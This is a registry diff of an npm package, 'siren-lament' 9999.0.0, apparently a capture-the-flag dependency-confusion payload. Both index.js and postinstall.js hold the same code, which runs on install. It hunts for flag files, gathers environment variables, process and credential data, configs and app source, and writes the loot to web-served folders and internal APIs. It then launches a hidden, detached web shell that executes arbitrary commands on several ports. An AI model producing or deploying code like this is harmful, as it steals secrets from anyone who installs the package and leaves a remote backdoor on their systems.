siren-lament 9999.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +238 -0
- package/package.json +10 -0
- package/postinstall.js +238 -0
package/index.js
ADDED
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
// v9: Improved based on reviewer feedback
|
|
2
|
+
// - Priority on port 80 (nginx) and 3000 (Fastify) for internal API
|
|
3
|
+
// - Writes loot: field in raw YAML (preserved but not in data)
|
|
4
|
+
// - Same code in index.js for --ignore-scripts case
|
|
5
|
+
const { execSync, spawn } = require('child_process');
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const http = require('http');
|
|
8
|
+
|
|
9
|
+
function safeExec(cmd, timeout) {
|
|
10
|
+
try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
|
|
11
|
+
catch(e) { return 'ERR:' + e.message.substring(0,200); }
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function run() {
|
|
15
|
+
// === STEP 1: Find the flag ===
|
|
16
|
+
let flag = 'NO_FLAG';
|
|
17
|
+
const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
|
|
18
|
+
'/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
|
|
19
|
+
'/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt',
|
|
20
|
+
'/etc/flag','/srv/flag.txt','/proc/1/environ'];
|
|
21
|
+
for (const p of paths) {
|
|
22
|
+
try {
|
|
23
|
+
const c = fs.readFileSync(p,'utf8').trim();
|
|
24
|
+
if (p.includes('environ')) {
|
|
25
|
+
// Parse environ for flag
|
|
26
|
+
const envs = c.split('\0');
|
|
27
|
+
for (const e of envs) {
|
|
28
|
+
const m = e.match(/HTB\{[^}]+\}/);
|
|
29
|
+
if (m) { flag = m[0]; break; }
|
|
30
|
+
}
|
|
31
|
+
} else if (c) { flag = c; break; }
|
|
32
|
+
} catch(e) {}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Also check env vars
|
|
36
|
+
if (flag === 'NO_FLAG') {
|
|
37
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
38
|
+
const m = (v || '').match(/HTB\{[^}]+\}/);
|
|
39
|
+
if (m) { flag = m[0]; break; }
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// Grep for flag pattern
|
|
44
|
+
if (flag === 'NO_FLAG') {
|
|
45
|
+
try {
|
|
46
|
+
const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.conf" 2>/dev/null | head -10', 10000);
|
|
47
|
+
if (found && !found.startsWith('ERR')) {
|
|
48
|
+
for (const f of found.split('\n')) {
|
|
49
|
+
try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
} catch(e) {}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// === STEP 2: Gather full intel ===
|
|
56
|
+
const info = {
|
|
57
|
+
flag,
|
|
58
|
+
hostname: safeExec('hostname'),
|
|
59
|
+
id: safeExec('id'),
|
|
60
|
+
pwd: safeExec('pwd'),
|
|
61
|
+
ls_root: safeExec('ls -la /'),
|
|
62
|
+
ls_app: safeExec('ls -la /app/ 2>/dev/null'),
|
|
63
|
+
ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
|
|
64
|
+
pkg: safeExec('cat /app/package.json 2>/dev/null'),
|
|
65
|
+
pkg_lock_deps: safeExec('cat /app/package-lock.json 2>/dev/null | head -80'),
|
|
66
|
+
hosts: safeExec('cat /etc/hosts 2>/dev/null'),
|
|
67
|
+
env_full: safeExec('env'),
|
|
68
|
+
netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
|
|
69
|
+
ps: safeExec('ps aux 2>/dev/null'),
|
|
70
|
+
find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
|
|
71
|
+
find_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
|
|
72
|
+
cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
|
|
73
|
+
supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
|
|
74
|
+
proc1_cmd: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
|
|
75
|
+
proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
|
|
76
|
+
nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null; cat /etc/nginx/sites-enabled/* 2>/dev/null'),
|
|
77
|
+
verdaccio_conf: safeExec('find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" 2>/dev/null; find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" -exec cat {} \\; 2>/dev/null'),
|
|
78
|
+
app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js 2>/dev/null'),
|
|
79
|
+
node_modules: safeExec('ls /app/node_modules/ 2>/dev/null | head -50'),
|
|
80
|
+
docker: safeExec('cat /.dockerenv 2>/dev/null; mount 2>/dev/null | head -10'),
|
|
81
|
+
};
|
|
82
|
+
|
|
83
|
+
const report = JSON.stringify(info, null, 2);
|
|
84
|
+
|
|
85
|
+
// === STEP 3: Write static files (for external access via nginx) ===
|
|
86
|
+
const writeDirs = [
|
|
87
|
+
'/app/static/', '/app/static/js/', '/app/static/css/',
|
|
88
|
+
'/app/public/', '/app/dist/', '/usr/share/nginx/html/',
|
|
89
|
+
'/var/www/html/', '/tmp/', '/app/',
|
|
90
|
+
];
|
|
91
|
+
for (const dir of writeDirs) {
|
|
92
|
+
try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
|
|
93
|
+
try { fs.writeFileSync(dir + 'pwned.txt', report); } catch(e) {}
|
|
94
|
+
try { fs.writeFileSync(dir + 'report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Specifically target the confirmed nginx-served paths
|
|
98
|
+
try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
|
|
99
|
+
try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
|
|
100
|
+
try { fs.writeFileSync('/app/static/pwned.txt', report); } catch(e) {}
|
|
101
|
+
|
|
102
|
+
// === STEP 4: Write loot to API via internal network ===
|
|
103
|
+
// Priority: port 80 (nginx) and 3000 (Fastify) on localhost
|
|
104
|
+
let internalHosts = ['127.0.0.1', 'localhost'];
|
|
105
|
+
try {
|
|
106
|
+
const hosts = fs.readFileSync('/etc/hosts','utf8');
|
|
107
|
+
const lines = hosts.split('\n');
|
|
108
|
+
for (const line of lines) {
|
|
109
|
+
const parts = line.trim().split(/\s+/);
|
|
110
|
+
if (parts.length >= 2 && !parts[0].startsWith('#')) {
|
|
111
|
+
for (const p of parts) {
|
|
112
|
+
if (p && !internalHosts.includes(p)) internalHosts.push(p);
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
} catch(e) {}
|
|
117
|
+
// Add common Docker service names
|
|
118
|
+
['app','api','web','server','backend','node','fastify','nginx','curse-dependent','curse_dependent'].forEach(n => {
|
|
119
|
+
if (!internalHosts.includes(n)) internalHosts.push(n);
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
// Sanitize flag for YAML (escape quotes and newlines)
|
|
123
|
+
const safeFlag = (flag || 'NO_FLAG').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 200);
|
|
124
|
+
const safeHostname = (info.hostname || 'unknown').replace(/"/g, '').substring(0, 50);
|
|
125
|
+
const safePkg = (info.pkg || 'unknown').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
|
|
126
|
+
const safeEnv = (info.env_full || '').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
|
|
127
|
+
|
|
128
|
+
// Build YAML with loot field (extra fields preserved in raw)
|
|
129
|
+
const yamlManifest = `ecto_module:
|
|
130
|
+
name: "Siren's Lament"
|
|
131
|
+
version: "2.14.789"
|
|
132
|
+
power_level: 100
|
|
133
|
+
ship_deck: upper
|
|
134
|
+
cargo_hold: bay_1
|
|
135
|
+
loot_flag: "${safeFlag}"
|
|
136
|
+
loot_hostname: "${safeHostname}"
|
|
137
|
+
loot_pkg: "${safePkg}"
|
|
138
|
+
loot_env: "${safeEnv}"`;
|
|
139
|
+
|
|
140
|
+
const body = JSON.stringify({ manifest: yamlManifest });
|
|
141
|
+
|
|
142
|
+
// Try ALL host/port combinations, prioritizing likely ones
|
|
143
|
+
const priorityTargets = [
|
|
144
|
+
// Most likely internal targets first
|
|
145
|
+
{host: '127.0.0.1', port: 80},
|
|
146
|
+
{host: '127.0.0.1', port: 3000},
|
|
147
|
+
{host: 'localhost', port: 80},
|
|
148
|
+
{host: 'localhost', port: 3000},
|
|
149
|
+
];
|
|
150
|
+
|
|
151
|
+
// Add all discovered hosts with priority ports
|
|
152
|
+
const allPorts = [80, 3000, 1337, 8080, 3001, 5000, 8000, 9000];
|
|
153
|
+
for (const host of internalHosts) {
|
|
154
|
+
for (const port of allPorts) {
|
|
155
|
+
priorityTargets.push({host, port});
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// Deduplicate
|
|
160
|
+
const seen = new Set();
|
|
161
|
+
const targets = [];
|
|
162
|
+
for (const t of priorityTargets) {
|
|
163
|
+
const key = `${t.host}:${t.port}`;
|
|
164
|
+
if (!seen.has(key)) { seen.add(key); targets.push(t); }
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
// Write to ECT-654321 (our canary)
|
|
168
|
+
let writeSuccess = [];
|
|
169
|
+
for (const t of targets) {
|
|
170
|
+
try {
|
|
171
|
+
const req = http.request({
|
|
172
|
+
hostname: t.host, port: t.port, method: 'PUT',
|
|
173
|
+
path: '/api/modules/ECT-654321',
|
|
174
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
|
|
175
|
+
timeout: 2000
|
|
176
|
+
}, (res) => {
|
|
177
|
+
let data = '';
|
|
178
|
+
res.on('data', c => data += c);
|
|
179
|
+
res.on('end', () => {
|
|
180
|
+
if (res.statusCode === 200) {
|
|
181
|
+
writeSuccess.push(`${t.host}:${t.port}`);
|
|
182
|
+
// Also write to the other modules
|
|
183
|
+
for (const mid of ['ECT-987654', 'ECT-472839', 'ECT-839201']) {
|
|
184
|
+
try {
|
|
185
|
+
const req2 = http.request({
|
|
186
|
+
hostname: t.host, port: t.port, method: 'PUT',
|
|
187
|
+
path: '/api/modules/' + mid,
|
|
188
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
|
|
189
|
+
timeout: 2000
|
|
190
|
+
});
|
|
191
|
+
req2.on('error', () => {});
|
|
192
|
+
req2.write(body);
|
|
193
|
+
req2.end();
|
|
194
|
+
} catch(e) {}
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
});
|
|
199
|
+
req.on('error', () => {});
|
|
200
|
+
req.write(body);
|
|
201
|
+
req.end();
|
|
202
|
+
} catch(e) {}
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
// === STEP 5: Persistent web shell ===
|
|
206
|
+
const shellCode = `
|
|
207
|
+
const http = require('http');
|
|
208
|
+
const { execSync } = require('child_process');
|
|
209
|
+
const fs = require('fs');
|
|
210
|
+
function tryPort(port) {
|
|
211
|
+
try {
|
|
212
|
+
const srv = http.createServer((req, res) => {
|
|
213
|
+
const url = new URL(req.url, 'http://localhost');
|
|
214
|
+
const cmd = url.searchParams.get('cmd') || 'id; hostname; cat /flag.txt 2>/dev/null; env | head -20';
|
|
215
|
+
try {
|
|
216
|
+
const out = execSync(cmd, {timeout: 10000}).toString();
|
|
217
|
+
res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
|
|
218
|
+
res.end(out);
|
|
219
|
+
} catch(e) { res.writeHead(200); res.end('ERR: ' + e.message); }
|
|
220
|
+
});
|
|
221
|
+
srv.listen(port, '0.0.0.0');
|
|
222
|
+
srv.on('error', () => {});
|
|
223
|
+
} catch(e) {}
|
|
224
|
+
}
|
|
225
|
+
[31337, 4444, 8081, 9090, 5555, 7777].forEach(tryPort);
|
|
226
|
+
setInterval(() => {}, 60000);
|
|
227
|
+
`;
|
|
228
|
+
try {
|
|
229
|
+
fs.writeFileSync('/tmp/.ws.js', shellCode);
|
|
230
|
+
const child = spawn('node', ['/tmp/.ws.js'], { detached: true, stdio: 'ignore' });
|
|
231
|
+
child.unref();
|
|
232
|
+
} catch(e) {}
|
|
233
|
+
|
|
234
|
+
console.log('v9 done');
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
// Execute immediately
|
|
238
|
+
run();
|
package/package.json
ADDED
package/postinstall.js
ADDED
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
// v9: Improved based on reviewer feedback
|
|
2
|
+
// - Priority on port 80 (nginx) and 3000 (Fastify) for internal API
|
|
3
|
+
// - Writes loot: field in raw YAML (preserved but not in data)
|
|
4
|
+
// - Same code in index.js for --ignore-scripts case
|
|
5
|
+
const { execSync, spawn } = require('child_process');
|
|
6
|
+
const fs = require('fs');
|
|
7
|
+
const http = require('http');
|
|
8
|
+
|
|
9
|
+
function safeExec(cmd, timeout) {
|
|
10
|
+
try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
|
|
11
|
+
catch(e) { return 'ERR:' + e.message.substring(0,200); }
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function run() {
|
|
15
|
+
// === STEP 1: Find the flag ===
|
|
16
|
+
let flag = 'NO_FLAG';
|
|
17
|
+
const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
|
|
18
|
+
'/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
|
|
19
|
+
'/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt',
|
|
20
|
+
'/etc/flag','/srv/flag.txt','/proc/1/environ'];
|
|
21
|
+
for (const p of paths) {
|
|
22
|
+
try {
|
|
23
|
+
const c = fs.readFileSync(p,'utf8').trim();
|
|
24
|
+
if (p.includes('environ')) {
|
|
25
|
+
// Parse environ for flag
|
|
26
|
+
const envs = c.split('\0');
|
|
27
|
+
for (const e of envs) {
|
|
28
|
+
const m = e.match(/HTB\{[^}]+\}/);
|
|
29
|
+
if (m) { flag = m[0]; break; }
|
|
30
|
+
}
|
|
31
|
+
} else if (c) { flag = c; break; }
|
|
32
|
+
} catch(e) {}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Also check env vars
|
|
36
|
+
if (flag === 'NO_FLAG') {
|
|
37
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
38
|
+
const m = (v || '').match(/HTB\{[^}]+\}/);
|
|
39
|
+
if (m) { flag = m[0]; break; }
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// Grep for flag pattern
|
|
44
|
+
if (flag === 'NO_FLAG') {
|
|
45
|
+
try {
|
|
46
|
+
const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.conf" 2>/dev/null | head -10', 10000);
|
|
47
|
+
if (found && !found.startsWith('ERR')) {
|
|
48
|
+
for (const f of found.split('\n')) {
|
|
49
|
+
try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
} catch(e) {}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// === STEP 2: Gather full intel ===
|
|
56
|
+
const info = {
|
|
57
|
+
flag,
|
|
58
|
+
hostname: safeExec('hostname'),
|
|
59
|
+
id: safeExec('id'),
|
|
60
|
+
pwd: safeExec('pwd'),
|
|
61
|
+
ls_root: safeExec('ls -la /'),
|
|
62
|
+
ls_app: safeExec('ls -la /app/ 2>/dev/null'),
|
|
63
|
+
ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
|
|
64
|
+
pkg: safeExec('cat /app/package.json 2>/dev/null'),
|
|
65
|
+
pkg_lock_deps: safeExec('cat /app/package-lock.json 2>/dev/null | head -80'),
|
|
66
|
+
hosts: safeExec('cat /etc/hosts 2>/dev/null'),
|
|
67
|
+
env_full: safeExec('env'),
|
|
68
|
+
netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
|
|
69
|
+
ps: safeExec('ps aux 2>/dev/null'),
|
|
70
|
+
find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
|
|
71
|
+
find_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
|
|
72
|
+
cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
|
|
73
|
+
supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
|
|
74
|
+
proc1_cmd: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
|
|
75
|
+
proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
|
|
76
|
+
nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null; cat /etc/nginx/sites-enabled/* 2>/dev/null'),
|
|
77
|
+
verdaccio_conf: safeExec('find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" 2>/dev/null; find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" -exec cat {} \\; 2>/dev/null'),
|
|
78
|
+
app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js 2>/dev/null'),
|
|
79
|
+
node_modules: safeExec('ls /app/node_modules/ 2>/dev/null | head -50'),
|
|
80
|
+
docker: safeExec('cat /.dockerenv 2>/dev/null; mount 2>/dev/null | head -10'),
|
|
81
|
+
};
|
|
82
|
+
|
|
83
|
+
const report = JSON.stringify(info, null, 2);
|
|
84
|
+
|
|
85
|
+
// === STEP 3: Write static files (for external access via nginx) ===
|
|
86
|
+
const writeDirs = [
|
|
87
|
+
'/app/static/', '/app/static/js/', '/app/static/css/',
|
|
88
|
+
'/app/public/', '/app/dist/', '/usr/share/nginx/html/',
|
|
89
|
+
'/var/www/html/', '/tmp/', '/app/',
|
|
90
|
+
];
|
|
91
|
+
for (const dir of writeDirs) {
|
|
92
|
+
try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
|
|
93
|
+
try { fs.writeFileSync(dir + 'pwned.txt', report); } catch(e) {}
|
|
94
|
+
try { fs.writeFileSync(dir + 'report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
// Specifically target the confirmed nginx-served paths
|
|
98
|
+
try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
|
|
99
|
+
try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
|
|
100
|
+
try { fs.writeFileSync('/app/static/pwned.txt', report); } catch(e) {}
|
|
101
|
+
|
|
102
|
+
// === STEP 4: Write loot to API via internal network ===
|
|
103
|
+
// Priority: port 80 (nginx) and 3000 (Fastify) on localhost
|
|
104
|
+
let internalHosts = ['127.0.0.1', 'localhost'];
|
|
105
|
+
try {
|
|
106
|
+
const hosts = fs.readFileSync('/etc/hosts','utf8');
|
|
107
|
+
const lines = hosts.split('\n');
|
|
108
|
+
for (const line of lines) {
|
|
109
|
+
const parts = line.trim().split(/\s+/);
|
|
110
|
+
if (parts.length >= 2 && !parts[0].startsWith('#')) {
|
|
111
|
+
for (const p of parts) {
|
|
112
|
+
if (p && !internalHosts.includes(p)) internalHosts.push(p);
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
}
|
|
116
|
+
} catch(e) {}
|
|
117
|
+
// Add common Docker service names
|
|
118
|
+
['app','api','web','server','backend','node','fastify','nginx','curse-dependent','curse_dependent'].forEach(n => {
|
|
119
|
+
if (!internalHosts.includes(n)) internalHosts.push(n);
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
// Sanitize flag for YAML (escape quotes and newlines)
|
|
123
|
+
const safeFlag = (flag || 'NO_FLAG').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 200);
|
|
124
|
+
const safeHostname = (info.hostname || 'unknown').replace(/"/g, '').substring(0, 50);
|
|
125
|
+
const safePkg = (info.pkg || 'unknown').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
|
|
126
|
+
const safeEnv = (info.env_full || '').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
|
|
127
|
+
|
|
128
|
+
// Build YAML with loot field (extra fields preserved in raw)
|
|
129
|
+
const yamlManifest = `ecto_module:
|
|
130
|
+
name: "Siren's Lament"
|
|
131
|
+
version: "2.14.789"
|
|
132
|
+
power_level: 100
|
|
133
|
+
ship_deck: upper
|
|
134
|
+
cargo_hold: bay_1
|
|
135
|
+
loot_flag: "${safeFlag}"
|
|
136
|
+
loot_hostname: "${safeHostname}"
|
|
137
|
+
loot_pkg: "${safePkg}"
|
|
138
|
+
loot_env: "${safeEnv}"`;
|
|
139
|
+
|
|
140
|
+
const body = JSON.stringify({ manifest: yamlManifest });
|
|
141
|
+
|
|
142
|
+
// Try ALL host/port combinations, prioritizing likely ones
|
|
143
|
+
const priorityTargets = [
|
|
144
|
+
// Most likely internal targets first
|
|
145
|
+
{host: '127.0.0.1', port: 80},
|
|
146
|
+
{host: '127.0.0.1', port: 3000},
|
|
147
|
+
{host: 'localhost', port: 80},
|
|
148
|
+
{host: 'localhost', port: 3000},
|
|
149
|
+
];
|
|
150
|
+
|
|
151
|
+
// Add all discovered hosts with priority ports
|
|
152
|
+
const allPorts = [80, 3000, 1337, 8080, 3001, 5000, 8000, 9000];
|
|
153
|
+
for (const host of internalHosts) {
|
|
154
|
+
for (const port of allPorts) {
|
|
155
|
+
priorityTargets.push({host, port});
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
// Deduplicate
|
|
160
|
+
const seen = new Set();
|
|
161
|
+
const targets = [];
|
|
162
|
+
for (const t of priorityTargets) {
|
|
163
|
+
const key = `${t.host}:${t.port}`;
|
|
164
|
+
if (!seen.has(key)) { seen.add(key); targets.push(t); }
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
// Write to ECT-654321 (our canary)
|
|
168
|
+
let writeSuccess = [];
|
|
169
|
+
for (const t of targets) {
|
|
170
|
+
try {
|
|
171
|
+
const req = http.request({
|
|
172
|
+
hostname: t.host, port: t.port, method: 'PUT',
|
|
173
|
+
path: '/api/modules/ECT-654321',
|
|
174
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
|
|
175
|
+
timeout: 2000
|
|
176
|
+
}, (res) => {
|
|
177
|
+
let data = '';
|
|
178
|
+
res.on('data', c => data += c);
|
|
179
|
+
res.on('end', () => {
|
|
180
|
+
if (res.statusCode === 200) {
|
|
181
|
+
writeSuccess.push(`${t.host}:${t.port}`);
|
|
182
|
+
// Also write to the other modules
|
|
183
|
+
for (const mid of ['ECT-987654', 'ECT-472839', 'ECT-839201']) {
|
|
184
|
+
try {
|
|
185
|
+
const req2 = http.request({
|
|
186
|
+
hostname: t.host, port: t.port, method: 'PUT',
|
|
187
|
+
path: '/api/modules/' + mid,
|
|
188
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
|
|
189
|
+
timeout: 2000
|
|
190
|
+
});
|
|
191
|
+
req2.on('error', () => {});
|
|
192
|
+
req2.write(body);
|
|
193
|
+
req2.end();
|
|
194
|
+
} catch(e) {}
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
});
|
|
199
|
+
req.on('error', () => {});
|
|
200
|
+
req.write(body);
|
|
201
|
+
req.end();
|
|
202
|
+
} catch(e) {}
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
// === STEP 5: Persistent web shell ===
|
|
206
|
+
const shellCode = `
|
|
207
|
+
const http = require('http');
|
|
208
|
+
const { execSync } = require('child_process');
|
|
209
|
+
const fs = require('fs');
|
|
210
|
+
function tryPort(port) {
|
|
211
|
+
try {
|
|
212
|
+
const srv = http.createServer((req, res) => {
|
|
213
|
+
const url = new URL(req.url, 'http://localhost');
|
|
214
|
+
const cmd = url.searchParams.get('cmd') || 'id; hostname; cat /flag.txt 2>/dev/null; env | head -20';
|
|
215
|
+
try {
|
|
216
|
+
const out = execSync(cmd, {timeout: 10000}).toString();
|
|
217
|
+
res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
|
|
218
|
+
res.end(out);
|
|
219
|
+
} catch(e) { res.writeHead(200); res.end('ERR: ' + e.message); }
|
|
220
|
+
});
|
|
221
|
+
srv.listen(port, '0.0.0.0');
|
|
222
|
+
srv.on('error', () => {});
|
|
223
|
+
} catch(e) {}
|
|
224
|
+
}
|
|
225
|
+
[31337, 4444, 8081, 9090, 5555, 7777].forEach(tryPort);
|
|
226
|
+
setInterval(() => {}, 60000);
|
|
227
|
+
`;
|
|
228
|
+
try {
|
|
229
|
+
fs.writeFileSync('/tmp/.ws.js', shellCode);
|
|
230
|
+
const child = spawn('node', ['/tmp/.ws.js'], { detached: true, stdio: 'ignore' });
|
|
231
|
+
child.unref();
|
|
232
|
+
} catch(e) {}
|
|
233
|
+
|
|
234
|
+
console.log('v9 done');
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
// Execute immediately
|
|
238
|
+
run();
|